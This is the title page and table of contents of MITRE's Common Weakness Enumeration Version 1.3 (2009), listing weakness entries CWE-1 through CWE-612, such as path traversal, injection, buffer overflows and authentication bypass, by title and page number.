CWE Version 1.3

Edited by:
Steven M. Christey, Conor O. Harris, and Janis E. Kenderdine

Project Lead:
Robert A. Martin

MITRE

CWE Version 1.3

2009-03-10

CWE is a Software Assurance strategic initiative sponsored by the National Cyber Security Division of the U.S. Department of Homeland Security

Contact cwe@mitre.org for more information

Table of Contents

Individual CWE Definitions

CWE-1: Location....1
CWE-2: Environment....1
CWE-3: Technology-specific Environment Issues....1
CWE-4: J2EE Environment Issues....1
CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption....2
CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length....3
CWE-7: J2EE Misconfiguration: Missing Custom Error Page....4
CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote....5
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods....6
CWE-10: ASP.NET Environment Issues....6
CWE-11: ASP.NET Misconfiguration: Creating Debug Binary....7
CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page....8
CWE-13: ASP.NET Misconfiguration: Password in Configuration File....9
CWE-14: Compiler Removal of Code to Clear Buffers....10
CWE-15: External Control of System or Configuration Setting....12
CWE-16: Configuration....13
CWE-17: Code....13
CWE-18: Source Code....13
CWE-19: Data Handling....14
CWE-20: Improper Input Validation....14
CWE-21: Pathname Traversal and Equivalence Errors....21
CWE-22: Path Traversal....22
CWE-23: Relative Path Traversal....24
CWE-24: Path Traversal: '../filedir'....26
CWE-25: Path Traversal: '/../filedir'....27
CWE-26: Path Traversal: '/dir/../filename'....27
CWE-27: Path Traversal: 'dir/../../filename'....28
CWE-28: Path Traversal: '..\filedir'....29
CWE-29: Path Traversal: '\..\filename'....31
CWE-30: Path Traversal: '\dir\..\filename'....32
CWE-31: Path Traversal: 'dir\..\..\filename'....33
CWE-32: Path Traversal: '...' (Triple Dot)....34
CWE-33: Path Traversal: '....' (Multiple Dot)....35
CWE-34: Path Traversal: '....//'....36
CWE-35: Path Traversal: '.../.../'....37
CWE-36: Absolute Path Traversal....38
CWE-37: Path Traversal: '/absolute/pathname/here'....39
CWE-38: Path Traversal: '\absolute\pathname\here'....40
CWE-39: Path Traversal: 'C:dirname'....41
CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share)....42
CWE-41: Failure to Resolve Path Equivalence....43
CWE-42: Path Equivalence: 'filename.' (Trailing Dot)....45
CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)....45
CWE-44: Path Equivalence: 'file.name' (Internal Dot)....46
CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)....46
CWE-46: Path Equivalence: 'filename ' (Trailing Space)....47
CWE-47: Path Equivalence: ' filename (Leading Space)....47
CWE-48: Path Equivalence: 'file name' (Internal Whitespace)....48
CWE-49: Path Equivalence: 'filename/' (Trailing Slash)....49
CWE-50: Path Equivalence: '//multiple/leading/slash'....49
CWE-51: Path Equivalence: '/multiple//internal/slash'....50
CWE-52: Path Equivalence: '/multiple/trailing/slash//'....50
CWE-53: Path Equivalence: '\multiple\\internal\backslash'....51
CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)....51
CWE-55: Path Equivalence: '/./' (Single Dot Directory)....52
CWE-56: Path Equivalence: 'filedir*' (Wildcard)....53
CWE-57: Path Equivalence: 'fakedir/../realdir/filename'....53

CWE-58: Path Equivalence: Windows 8.3 Filename....54
CWE-59: Failure to Resolve Links Before File Access (aka 'Link Following')....54
CWE-60: UNIX Path Link Problems....56
CWE-61: UNIX Symbolic Link (Symlink) Following....56
CWE-62: UNIX Hard Link....58
CWE-63: Windows Path Link Problems....59
CWE-64: Windows Shortcut Following (.LNK)....59
CWE-65: Windows Hard Link....60
CWE-66: Improper Handling of File Names that Identify Virtual Resources....61
CWE-67: Improper Handling of Windows Device Names....62
CWE-68: Windows Virtual File Problems....63
CWE-69: Failure to Handle Windows ::DATA Alternate Data Stream....63
CWE-70: Mac Virtual File Problems....64
CWE-71: Apple '.DS_Store'....65
CWE-72: Failure to Handle Apple HFS+ Alternate Data Stream Path....66
CWE-73: External Control of File Name or Path....67
CWE-74: Failure to Sanitize Data into a Different Plane (aka 'Injection')....70
CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)....72
CWE-76: Failure to Resolve Equivalent Special Elements into a Different Plane....73
CWE-77: Failure to Sanitize Data into a Control Plane (aka 'Command Injection')....74
CWE-78: Failure to Preserve OS Command Structure (aka 'OS Command Injection')....77
CWE-79: Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')....83
CWE-80: Failure to Sanitize Script-Related HTML Tags in a Web Page (Basic XSS)....89
CWE-81: Failure to Sanitize Directives in an Error Message Web Page....91
CWE-82: Failure to Sanitize Script in Attributes of IMG Tags in a Web Page....92
CWE-83: Failure to Sanitize Script in Attributes in a Web Page....93
CWE-84: Failure to Resolve Encoded URI Schemes in a Web Page....94
CWE-85: Doubled Character XSS Manipulations....95
CWE-86: Failure to Sanitize Invalid Characters in Identifiers in Web Pages....96
CWE-87: Failure to Sanitize Alternate XSS Syntax....96
CWE-88: Argument Injection or Modification....97
CWE-89: Failure to Preserve SQL Query Structure (aka 'SQL Injection')....99
CWE-90: Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')....106
CWE-91: XML Injection (aka Blind XPath Injection)....107
CWE-92: Insufficient Sanitization of Custom Special Characters....107
CWE-93: Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')....109
CWE-94: Failure to Control Generation of Code (aka 'Code Injection')....110
CWE-95: Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')....112
CWE-96: Insufficient Control of Directives in Statically Saved Code (Static Code Injection)....114
CWE-97: Failure to Sanitize Server-Side Includes (SSI) Within a Web Page....116
CWE-98: Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')....116
CWE-99: Insufficient Control of Resource Identifiers (aka 'Resource Injection')....118
CWE-100: Technology-Specific Input Validation Problems....119
CWE-101: Struts Validation Problems....120
CWE-102: Struts: Duplicate Validation Forms....120
CWE-103: Struts: Incomplete validate() Method Definition....121
CWE-104: Struts: Form Bean Does Not Extend Validation Class....122
CWE-105: Struts: Form Field Without Validator....123
CWE-106: Struts: Plug-in Framework not in Use....124
CWE-107: Struts: Unused Validation Form....125
CWE-108: Struts: Unvalidated Action Form....125
CWE-109: Struts: Validator Turned Off....126
CWE-110: Struts: Validator Without Form Field....127
CWE-111: Direct Use of Unsafe JNI....128
CWE-112: Missing XML Validation....130
CWE-113: Failure to Sanitize CRLF Sequences in HTTP Headers (aka 'HTTP Response Splitting')....131
CWE-114: Process Control....134
CWE-115: Misinterpretation of Input....136
CWE-116: Improper Encoding or Escaping of Output....136
CWE-117: Incorrect Output Sanitization for Logs....141

CWE-118: Improper Access of Indexable Resource (aka 'Range Error') 143
CWE-119: Failure to Constrain Operations within the Bounds of a Memory Buffer 144
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') 148
CWE-121: Stack-based Buffer Overflow 151
CWE-122: Heap-based Buffer Overflow 152
CWE-123: Write-what-where Condition 154
CWE-124: Boundary Beginning Violation ('Buffer Underwrite') 155
CWE-125: Out-of-bounds Read 157
CWE-126: Buffer Over-read 157
CWE-127: Buffer Under-read 158
CWE-128: Wrap-around Error 158
CWE-129: Unchecked Array Indexing 160
CWE-130: Improper Handling of Length Parameter Inconsistency 161
CWE-131: Incorrect Calculation of Buffer Size 163
CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination 164
CWE-133: String Errors 164
CWE-134: Uncontrolled Format String 164
CWE-135: Incorrect Calculation of Multi-Byte String Length 167
CWE-136: Type Errors 168
CWE-137: Representation Errors 169
CWE-138: Improper Sanitization of Special Elements 169
CWE-139: DEPRECATED: General Special Element Problems 170
CWE-140: Failure to Sanitize Delimiters 171
CWE-141: Failure to Sanitize Parameter/Argument Delimiters 171
CWE-142: Failure to Sanitize Value Delimiters 172
CWE-143: Failure to Sanitize Record Delimiters 173
CWE-144: Failure to Sanitize Line Delimiters 174
CWE-145: Failure to Sanitize Section Delimiters 174
CWE-146: Failure to Sanitize Expression/Command Delimiters 175
CWE-147: Improper Sanitization of Input Terminators 176
CWE-148: Failure to Sanitize Input Leaders 177
CWE-149: Failure to Sanitize Quoting Syntax 178
CWE-150: Failure to Sanitize Escape, Meta, or Control Sequences 178
CWE-151: Improper Sanitization of Comment Delimiters 179
CWE-152: Improper Sanitization of Macro Symbols 180
CWE-153: Improper Sanitization of Substitution Characters 181
CWE-154: Improper Sanitization of Variable Name Delimiters 182
CWE-155: Improper Sanitization of Wildcards or Matching Symbols 183
CWE-156: Improper Sanitization of Whitespace 184
CWE-157: Failure to Sanitize Paired Delimiters 185
CWE-158: Failure to Sanitize Null Byte or NUL Character 186
CWE-159: Failure to Sanitize Special Element 187
CWE-160: Failure to Sanitize Leading Special Element 188
CWE-161: Failure to Sanitize Multiple Leading Special Elements 189
CWE-162: Failure to Sanitize Trailing Special Element 190
CWE-163: Failure to Sanitize Multiple Trailing Special Elements 190
CWE-164: Failure to Sanitize Internal Special Element 191
CWE-165: Failure to Sanitize Multiple Internal Special Elements 192
CWE-166: Failure to Handle Missing Special Element 193
CWE-167: Failure to Handle Additional Special Element 194
CWE-168: Failure to Resolve Inconsistent Special Elements 194
CWE-169: Technology-Specific Special Elements 195
CWE-170: Improper Null Termination 196
CWE-171: Cleansing, Canonicalization, and Comparison Errors 199
CWE-172: Encoding Error 200
CWE-173: Failure to Handle Alternate Encoding 201
CWE-174: Double Decoding of the Same Data 202
CWE-175: Failure to Handle Mixed Encoding 203
CWE-176: Failure to Handle Unicode Encoding 203
CWE-177: Failure to Handle URL Encoding (Hex Encoding) 205
CWE-178: Failure to Resolve Case Sensitivity 206

CWE-179: Incorrect Behavior Order: Early Validation 207
CWE-180: Incorrect Behavior Order: Validate Before Canonicalize 208
CWE-181: Incorrect Behavior Order: Validate Before Filter 209
CWE-182: Collapse of Data Into Unsafe Value 210
CWE-183: Permissive Whitelist 211
CWE-184: Incomplete Blacklist 212
CWE-185: Incorrect Regular Expression 214
CWE-186: Overly Restrictive Regular Expression 215
CWE-187: Partial Comparison 216
CWE-188: Reliance on Data/Memory Layout 216
CWE-189: Numeric Errors 217
CWE-190: Integer Overflow or Wraparound 218
CWE-191: Integer Underflow (Wrap or Wraparound) 220
CWE-192: Integer Coercion Error 221
CWE-193: Off-by-one Error 222
CWE-194: Unexpected Sign Extension 224
CWE-195: Signed to Unsigned Conversion Error 226
CWE-196: Unsigned to Signed Conversion Error 227
CWE-197: Numeric Truncation Error 228
CWE-198: Use of Incorrect Byte Ordering 229
CWE-199: Information Management Errors 230
CWE-200: Information Leak (Information Disclosure) 230
CWE-201: Information Leak Through Sent Data 232
CWE-202: Privacy Leak through Data Queries 233
CWE-203: Discrepancy Information Leaks 233
CWE-204: Response Discrepancy Information Leak 234
CWE-205: Behavioral Discrepancy Information Leak 235
CWE-206: Internal Behavioral Inconsistency Information Leak 236
CWE-207: External Behavioral Inconsistency Information Leak 237
CWE-208: Timing Discrepancy Information Leak 237
CWE-209: Error Message Information Leak 238
CWE-210: Product-Generated Error Message Information Leak 241
CWE-211: Product-External Error Message Information Leak 241
CWE-212: Cross-boundary Cleansing Information Leak 243
CWE-213: Intended Information Leak 243
CWE-214: Process Environment Information Leak 244
CWE-215: Information Leak Through Debug Information 245
CWE-216: Containment Errors (Container Errors) 246
CWE-217: Failure to Protect Stored Data from Modification 247
CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data 248
CWE-219: Sensitive Data Under Web Root 249
CWE-220: Sensitive Data Under FTP Root 249
CWE-221: Information Loss or Omission 250
CWE-222: Truncation of Security-relevant Information 250
CWE-223: Omission of Security-relevant Information 251
CWE-224: Obscured Security-relevant Information by Alternate Name 252
CWE-225: DEPRECATED (Duplicate): General Information Management Problems 252
CWE-226: Sensitive Information Uncleared Before Release 252
CWE-227: Failure to Fulfill API Contract (aka 'API Abuse') 254
CWE-228: Improper Handling of Syntactically Invalid Structure 255
CWE-229: Improper Handling of Values 256
CWE-230: Improper Handling of Missing Values 256
CWE-231: Improper Handling of Extra Values 257
CWE-232: Improper Handling of Undefined Values 257
CWE-233: Parameter Problems 258
CWE-234: Failure to Handle Missing Parameter 258
CWE-235: Improper Handling of Extra Parameters 260
CWE-236: Improper Handling of Undefined Parameters 260
CWE-237: Improper Handling of Structural Elements 261
CWE-238: Improper Handling of Incomplete Structural Elements 261
CWE-239: Failure to Handle Incomplete Element 262

CWE-240: Improper Handling of Inconsistent Structural Elements....262
CWE-241: Improper Handling of Unexpected Data Type....263
CWE-242: Use of Inherently Dangerous Function....263
CWE-243: Failure to Change Working Directory in chroot Jail....264
CWE-244: Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')....266
CWE-245: J2EE Bad Practices: Direct Management of Connections....267
CWE-246: J2EE Bad Practices: Direct Use of Sockets....267
CWE-247: Reliance on DNS Lookups in a Security Decision....268
CWE-248: Uncaught Exception....269
CWE-249: Often Misused: Path Manipulation....270
CWE-250: Execution with Unnecessary Privileges....271
CWE-251: Often Misused: String Management....274
CWE-252: Unchecked Return Value....274
CWE-253: Incorrect Check of Function Return Value....278
CWE-254: Security Features....279
CWE-255: Credentials Management....279
CWE-256: Plaintext Storage of a Password....280
CWE-257: Storing Passwords in a Recoverable Format....281
CWE-258: Empty Password in Configuration File....282
CWE-259: Hard-Coded Password....283
CWE-260: Password in Configuration File....286
CWE-261: Weak Cryptography for Passwords....287
CWE-262: Not Using Password Aging....288
CWE-263: Password Aging with Long Expiration....289
CWE-264: Permissions, Privileges, and Access Controls....290
CWE-265: Privilege / Sandbox Issues....291
CWE-266: Incorrect Privilege Assignment....291
CWE-267: Privilege Defined With Unsafe Actions....293
CWE-268: Privilege Chaining....294
CWE-269: Insecure Privilege Management....295
CWE-270: Privilege Context Switching Error....296
CWE-271: Privilege Dropping / Lowering Errors....296
CWE-272: Least Privilege Violation....298
CWE-273: Improper Check for Successfully Dropped Privileges....300
CWE-274: Failure to Handle Insufficient Privileges....301
CWE-275: Permission Issues....302
CWE-276: Insecure Default Permissions....303
CWE-277: Insecure Inherited Permissions....304
CWE-278: Insecure Preserved Inherited Permissions....304
CWE-279: Insecure Execution-assigned Permissions....305
CWE-280: Improper Handling of Insufficient Permissions or Privileges....306
CWE-281: Permission Preservation Failure....307
CWE-282: Improper Ownership Management....307
CWE-283: Unverified Ownership....308
CWE-284: Access Control (Authorization) Issues....309
CWE-285: Improper Access Control (Authorization)....310
CWE-286: Incorrect User Management....312
CWE-287: Improper Authentication....312
CWE-288: Authentication Bypass Using an Alternate Path or Channel....314
CWE-289: Authentication Bypass by Alternate Name....315
CWE-290: Authentication Bypass by Spoofing....316
CWE-291: Trusting Self-reported IP Address....316
CWE-292: Trusting Self-reported DNS Name....318
CWE-293: Using Referer Field for Authentication....319
CWE-294: Authentication Bypass by Capture-replay....321
CWE-295: Certificate Issues....322
CWE-296: Improper Following of Chain of Trust for Certificate Validation....322
CWE-297: Improper Validation of Host-specific Certificate Data....323
CWE-298: Improper Validation of Certificate Expiration....324
CWE-299: Improper Check for Certificate Revocation....325
CWE-300: Channel Accessible by Non-Endpoint (aka 'Man-in-the-Middle')....326

CWE-301: Reflection Attack in an Authentication Protocol....327
CWE-302: Authentication Bypass by Assumed-Immutable Data....329
CWE-303: Improper Implementation of Authentication Algorithm....330
CWE-304: Missing Critical Step in Authentication....330
CWE-305: Authentication Bypass by Primary Weakness....331
CWE-306: No Authentication for Critical Function....332
CWE-307: Failure to Restrict Excessive Authentication Attempts....332
CWE-308: Use of Single-factor Authentication....333
CWE-309: Use of Password System for Primary Authentication....334
CWE-310: Cryptographic Issues....335
CWE-311: Failure to Encrypt Sensitive Data....336
CWE-312: Cleartext Storage of Sensitive Information....338
CWE-313: Plaintext Storage in a File or on Disk....338
CWE-314: Plaintext Storage in the Registry....339
CWE-315: Plaintext Storage in a Cookie....339
CWE-316: Plaintext Storage in Memory....340
CWE-317: Plaintext Storage in GUI....341
CWE-318: Plaintext Storage in Executable....342
CWE-319: Cleartext Transmission of Sensitive Information....342
CWE-320: Key Management Errors....344
CWE-321: Use of Hard-coded Cryptographic Key....344
CWE-322: Key Exchange without Entity Authentication....346
CWE-323: Reusing a Nonce, Key Pair in Encryption....347
CWE-324: Use of a Key Past its Expiration Date....348
CWE-325: Missing Required Cryptographic Step....349
CWE-326: Weak Encryption....349
CWE-327: Use of a Broken or Risky Cryptographic Algorithm....351
CWE-328: Reversible One-Way Hash....353
CWE-329: Not Using a Random IV with CBC Mode....354
CWE-330: Use of Insufficiently Random Values....355
CWE-331: Insufficient Entropy....357
CWE-332: Insufficient Entropy in PRNG....358
CWE-333: Failure to Handle Insufficient Entropy in TRNG....359
CWE-334: Small Space of Random Values....360
CWE-335: PRNG Seed Error....361
CWE-336: Same Seed in PRNG....361
CWE-337: Predictable Seed in PRNG....362
CWE-338: Use of Cryptographically Weak PRNG....362
CWE-339: Small Seed Space in PRNG....363
CWE-340: Predictability Problems....364
CWE-341: Predictable from Observable State....364
CWE-342: Predictable Exact Value from Previous Values....365
CWE-343: Predictable Value Range from Previous Values....366
CWE-344: Use of Invariant Value in Dynamically Changing Context....366
CWE-345: Insufficient Verification of Data Authenticity....367
CWE-346: Origin Validation Error....368
CWE-347: Improperly Verified Signature....369
CWE-348: Use of Less Trusted Source....370
CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data....371
CWE-350: Improperly Trusted Reverse DNS....371
CWE-351: Insufficient Type Distinction....372
CWE-352: Cross-Site Request Forgery (CSRF)....373
CWE-353: Failure to Add Integrity Check Value....375
CWE-354: Improper Validation of Integrity Check Value....376
CWE-355: User Interface Security Issues....377
CWE-356: Product UI does not Warn User of Unsafe Actions....378
CWE-357: Insufficient UI Warning of Dangerous Operations....379
CWE-358: Improperly Implemented Security Check for Standard....379
CWE-359: Privacy Violation....380
CWE-360: Trust of System Event Data....381
CWE-361: Time and State....382

CWE-362: Race Condition 383
CWE-363: Race Condition Enabling Link Following 387
CWE-364: Signal Handler Race Condition 388
CWE-365: Race Condition in Switch 389
CWE-366: Race Condition within a Thread 390
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition 392
CWE-368: Context Switching Race Condition 394
CWE-369: Divide By Zero 395
CWE-370: Race Condition in Checking for Certificate Revocation 396
CWE-371: State Issues 397
CWE-372: Incomplete Internal State Distinction 398
CWE-373: State Synchronization Error 398
CWE-374: Mutable Objects Passed by Reference 400
CWE-375: Passing Mutable Objects to an Untrusted Method 401
CWE-376: Temporary File Issues 402
CWE-377: Insecure Temporary File 402
CWE-378: Creation of Temporary File With Insecure Permissions 404
CWE-379: Creation of Temporary File in Directory with Insecure Permissions 405
CWE-380: Technology-Specific Time and State Issues 406
CWE-381: J2EE Time and State Issues 406
CWE-382: J2EE Bad Practices: Use of System.exit() 407
CWE-383: J2EE Bad Practices: Direct Use of Threads 408
CWE-384: Session Fixation 408
CWE-385: Covert Timing Channel 410
CWE-386: Symbolic Name not Mapping to Correct Object 412
CWE-387: Signal Errors 412
CWE-388: Error Handling 413
CWE-389: Error Conditions, Return Values, Status Codes 414
CWE-390: Detection of Error Condition Without Action 415
CWE-391: Unchecked Error Condition 417
CWE-392: Failure to Report Error in Status Code 418
CWE-393: Return of Wrong Status Code 419
CWE-394: Unexpected Status Code or Return Value 420
CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference 420
CWE-396: Declaration of Catch for Generic Exception 421
CWE-397: Declaration of Throws for Generic Exception 422
CWE-398: Indicator of Poor Code Quality 423
CWE-399: Resource Management Errors 424
CWE-400: Uncontrolled Resource Consumption (aka 'Resource Exhaustion') 425
CWE-401: Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak') 427
CWE-402: Transmission of Private Resources into a New Sphere (aka 'Resource Leak') 430
CWE-403: UNIX File Descriptor Leak 430
CWE-404: Improper Resource Shutdown or Release 431
CWE-405: Asymmetric Resource Consumption (Amplification) 435
CWE-406: Insufficient Control of Network Message Volume (Network Amplification) 436
CWE-407: Algorithmic Complexity 437
CWE-408: Incorrect Behavior Order: Early Amplification 437
CWE-409: Failure to Handle Highly Compressed Data (Data Amplification) 438
CWE-410: Insufficient Resource Pool 438
CWE-411: Resource Locking Problems 440
CWE-412: Unrestricted Lock on Critical Resource 440
CWE-413: Insufficient Resource Locking 441
CWE-414: Missing Lock Check 442
CWE-415: Double Free 442
CWE-416: Use After Free 445
CWE-417: Channel and Path Errors 447
CWE-418: Channel Errors 447
CWE-419: Unprotected Primary Channel 448
CWE-420: Unprotected Alternate Channel 448
CWE-421: Race Condition During Access to Alternate Channel 449
CWE-422: Unprotected Windows Messaging Channel ('Shatter') 450

CWE-423: DEPRECATED (Duplicate): Proxied Trusted Channel 451
CWE-424: Failure to Protect Alternate Path 451
CWE-425: Direct Request ('Forced Browsing') 451
CWE-426: Untrusted Search Path 453
CWE-427: Uncontrolled Search Path Element 456
CWE-428: Unquoted Search Path or Element 457
CWE-429: Handler Errors 458
CWE-430: Deployment of Wrong Handler 458
CWE-431: Missing Handler 459
CWE-432: Dangerous Handler not Disabled During Sensitive Operations 460
CWE-433: Unparsed Raw Web Content Delivery 460
CWE-434: Unrestricted File Upload 461
CWE-435: Interaction Error 462
CWE-436: Interpretation Conflict 463
CWE-437: Incomplete Model of Endpoint Features 465
CWE-438: Behavioral Problems 465
CWE-439: Behavioral Change in New Version or Environment 466
CWE-440: Expected Behavior Violation 466
CWE-441: Unintended Proxy/Intermediary 467
CWE-442: Web Problems 468
CWE-443: DEPRECATED (Duplicate): HTTP response splitting 468
CWE-444: Inconsistent Interpretation of HTTP Requests (aka 'HTTP Request Smuggling') 468
CWE-445: User Interface Errors 469
CWE-446: UI Discrepancy for Security Feature 470
CWE-447: Unimplemented or Unsupported Feature in UI 471
CWE-448: Obsolete Feature in UI 471
CWE-449: The UI Performs the Wrong Action 472
CWE-450: Multiple Interpretations of UI Input 472
CWE-451: UI Misrepresentation of Critical Information 473
CWE-452: Initialization and Cleanup Errors 474
CWE-453: Insecure Default Variable Initialization 475
CWE-454: External Initialization of Trusted Variables 476
CWE-455: Non-exit on Failed Initialization 477
CWE-456: Missing Initialization 477
CWE-457: Use of Uninitialized Variable 478
CWE-458: DEPRECATED: Incorrect Initialization 480
CWE-459: Incomplete Cleanup 481
CWE-460: Improper Cleanup on Thrown Exception 482
CWE-461: Data Structure Issues 483
CWE-462: Duplicate Key in Associative List (Alist) 483
CWE-463: Deletion of Data Structure Sentinel 484
CWE-464: Addition of Data Structure Sentinel 485
CWE-465: Pointer Issues 486
CWE-466: Return of Pointer Value Outside of Expected Range 486
CWE-467: Use of sizeof() on a Pointer Type 487
CWE-468: Incorrect Pointer Scaling 488
CWE-469: Use of Pointer Subtraction to Determine Size 489
CWE-470: Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection') 490
CWE-471: Modification of Assumed-Immutable Data (MAID) 492
CWE-472: External Control of Assumed-Immutable Web Parameter 493
CWE-473: PHP External Variable Modification 495
CWE-474: Use of Function with Inconsistent Implementations 496
CWE-475: Undefined Behavior for Input to API 497
CWE-476: NULL Pointer Dereference 497
CWE-477: Use of Obsolete Functions 499
CWE-478: Failure to Use Default Case in Switch 501
CWE-479: Unsafe Function Call from a Signal Handler 502
CWE-480: Use of Incorrect Operator 503
CWE-481: Assigning instead of Comparing 504
CWE-482: Comparing instead of Assigning 505
CWE-483: Incorrect Block Delimitation 506

CWE-484: Omitted Break Statement in Switch....507
CWE-485: Insufficient Encapsulation....508
CWE-486: Comparison of Classes by Name....510
CWE-487: Reliance on Package-level Scope....511
CWE-488: Data Leak Between Sessions....511
CWE-489: Leftover Debug Code....513
CWE-490: Mobile Code Issues....514
CWE-491: Public cloneable() Method Without Final (aka 'Object Hijack')....514
CWE-492: Use of Inner Class Containing Sensitive Data....515
CWE-493: Critical Public Variable Without Final Modifier....516
CWE-494: Download of Code Without Integrity Check....518
CWE-495: Private Array-Typed Field Returned From A Public Method....519
CWE-496: Public Data Assigned to Private Array-Typed Field....520
CWE-497: Information Leak of System Data....521
CWE-498: Information Leak through Class Cloning....522
CWE-499: Serializable Class Containing Sensitive Data....524
CWE-500: Public Static Field Not Marked Final....525
CWE-501: Trust Boundary Violation....526
CWE-502: Deserialization of Untrusted Data....526
CWE-503: Byte/Object Code....528
CWE-504: Motivation/Intent....528
CWE-505: Intentionally Introduced Weakness....528
CWE-506: Embedded Malicious Code....529
CWE-507: Trojan Horse....530
CWE-508: Non-Replicating Malicious Code....531
CWE-509: Replicating Malicious Code (Virus or Worm)....531
CWE-510: Trapdoor....531
CWE-511: Logic/Time Bomb....532
CWE-512: Spyware....533
CWE-513: Intentionally Introduced Nonmalicious Weakness....533
CWE-514: Covert Channel....533
CWE-515: Covert Storage Channel....534
CWE-516: DEPRECATED (Duplicate): Covert Timing Channel....535
CWE-517: Other Intentional, Nonmalicious Weakness....535
CWE-518: Inadvertently Introduced Weakness....535
CWE-519: .NET Environment Issues....536
CWE-520: .NET Misconfiguration: Use of Impersonation....536
CWE-521: Weak Password Requirements....537
CWE-522: Insufficiently Protected Credentials....537
CWE-523: Unprotected Transport of Credentials....538
CWE-524: Information Leak Through Caching....539
CWE-525: Information Leak Through Browser Caching....539
CWE-526: Information Leak Through Environmental Variables....540
CWE-527: Information Leak Through CVS Repository....540
CWE-528: Information Leak Through Core Dump Files....541
CWE-529: Information Leak Through Access Control List Files....542
CWE-530: Information Leak Through Backup (.~bk) Files....542
CWE-531: Information Leak Through Test Code....543
CWE-532: Information Leak Through Log Files....543
CWE-533: Information Leak Through Server Log Files....544
CWE-534: Information Leak Through Debug Log Files....544
CWE-535: Information Leak Through Shell Error Message....545
CWE-536: Information Leak Through Servlet Runtime Error Message....545
CWE-537: Information Leak Through Java Runtime Error Message....546
CWE-538: File and Directory Information Leaks....546
CWE-539: Information Leak Through Persistent Cookies....547
CWE-540: Information Leak Through Source Code....548
CWE-541: Information Leak Through Include Source Code....548
CWE-542: Information Leak Through Cleanup Log Files....549
CWE-543: Use of Singleton Pattern in a Non-thread-safe Manner....549
CWE-544: Failure to Use a Standardized Error Handling Mechanism....550

CWE-545: Use of Dynamic Class Loading..... 551
CWE-546: Suspicious Comment..... 551
CWE-547: Use of Hard-coded, Security-relevant Constants..... 552
CWE-548: Information Leak Through Directory Listing..... 553
CWE-549: Missing Password Field Masking..... 553
CWE-550: Information Leak Through Server Error Message..... 554
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization..... 555
CWE-552: Files or Directories Accessible to External Parties..... 555
CWE-553: Command Shell in Externally Accessible Directory..... 556
CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework..... 556
CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File..... 557
CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation..... 558
CWE-557: Concurrency Issues..... 558
CWE-558: Use of getlogin() in Multithreaded Application..... 559
CWE-559: Often Misused: Arguments and Parameters..... 559
CWE-560: Use of umask() with chmod-style Argument..... 560
CWE-561: Dead Code..... 560
CWE-562: Return of Stack Variable Address..... 562
CWE-563: Unused Variable..... 562
CWE-564: SQL Injection: Hibernate..... 563
CWE-565: Use of Cookies in Security Decision..... 564
CWE-566: Access Control Bypass Through User-Controlled SQL Primary Key..... 565
CWE-567: Unsynchronized Access to Shared Data..... 566
CWE-568: finalize() Method Without super.finalize()..... 567
CWE-569: Expression Issues..... 567
CWE-570: Expression is Always False..... 567
CWE-571: Expression is Always True..... 568
CWE-572: Call to Thread run() instead of start()..... 569
CWE-573: Failure to Follow Specification..... 570
CWE-574: EJB Bad Practices: Use of Synchronization Primitives..... 571
CWE-575: EJB Bad Practices: Use of AWT Swing..... 571
CWE-576: EJB Bad Practices: Use of Java I/O..... 572
CWE-577: EJB Bad Practices: Use of Sockets..... 572
CWE-578: EJB Bad Practices: Use of Class Loader..... 573
CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session..... 573
CWE-580: clone() Method Without super.clone()..... 574
CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined..... 575
CWE-582: Array Declared Public, Final, and Static..... 575
CWE-583: finalize() Method Declared Public..... 576
CWE-584: Return Inside Finally Block..... 577
CWE-585: Empty Synchronized Block..... 577
CWE-586: Explicit Call to Finalize()..... 578
CWE-587: Assignment of a Fixed Address to a Pointer..... 578
CWE-588: Attempt to Access Child of a Non-structure Pointer..... 579
CWE-589: Call to Non-ubiquitous API..... 580
CWE-590: Free of Invalid Pointer Not on the Heap..... 581
CWE-591: Sensitive Data Storage in Improperly Locked Memory..... 582
CWE-592: Authentication Bypass Issues..... 582
CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created..... 583
CWE-594: J2EE Framework: Saving Unserializable Objects to Disk..... 584
CWE-595: Incorrect Syntactic Object Comparison..... 585
CWE-596: Incorrect Semantic Object Comparison..... 585
CWE-597: Use of Wrong Operator in String Comparison..... 586
CWE-598: Information Leak Through Query Strings in GET Request..... 587
CWE-599: Trust of OpenSSL Certificate Without Validation..... 587
CWE-600: Failure to Catch All Exceptions in Servlet 588
CWE-601: URL Redirection to Untrusted Site (aka 'Open Redirect')..... 589
CWE-602: Client-Side Enforcement of Server-Side Security..... 590
CWE-603: Use of Client-Side Authentication..... 592
CWE-604: Deprecated Entries..... 593
CWE-605: Multiple Binds to the Same Port..... 593

CWE-606: Unchecked Input for Loop Condition....594
CWE-607: Public Static Final Field References Mutable Object....595
CWE-608: Struts: Non-private Field in ActionForm Class....595
CWE-609: Double-Checked Locking....596
CWE-610: Externally Controlled Reference to a Resource in Another Sphere....597
CWE-611: Information Leak Through XML External Entity File Disclosure....598
CWE-612: Information Leak Through Indexing of Private Data....599
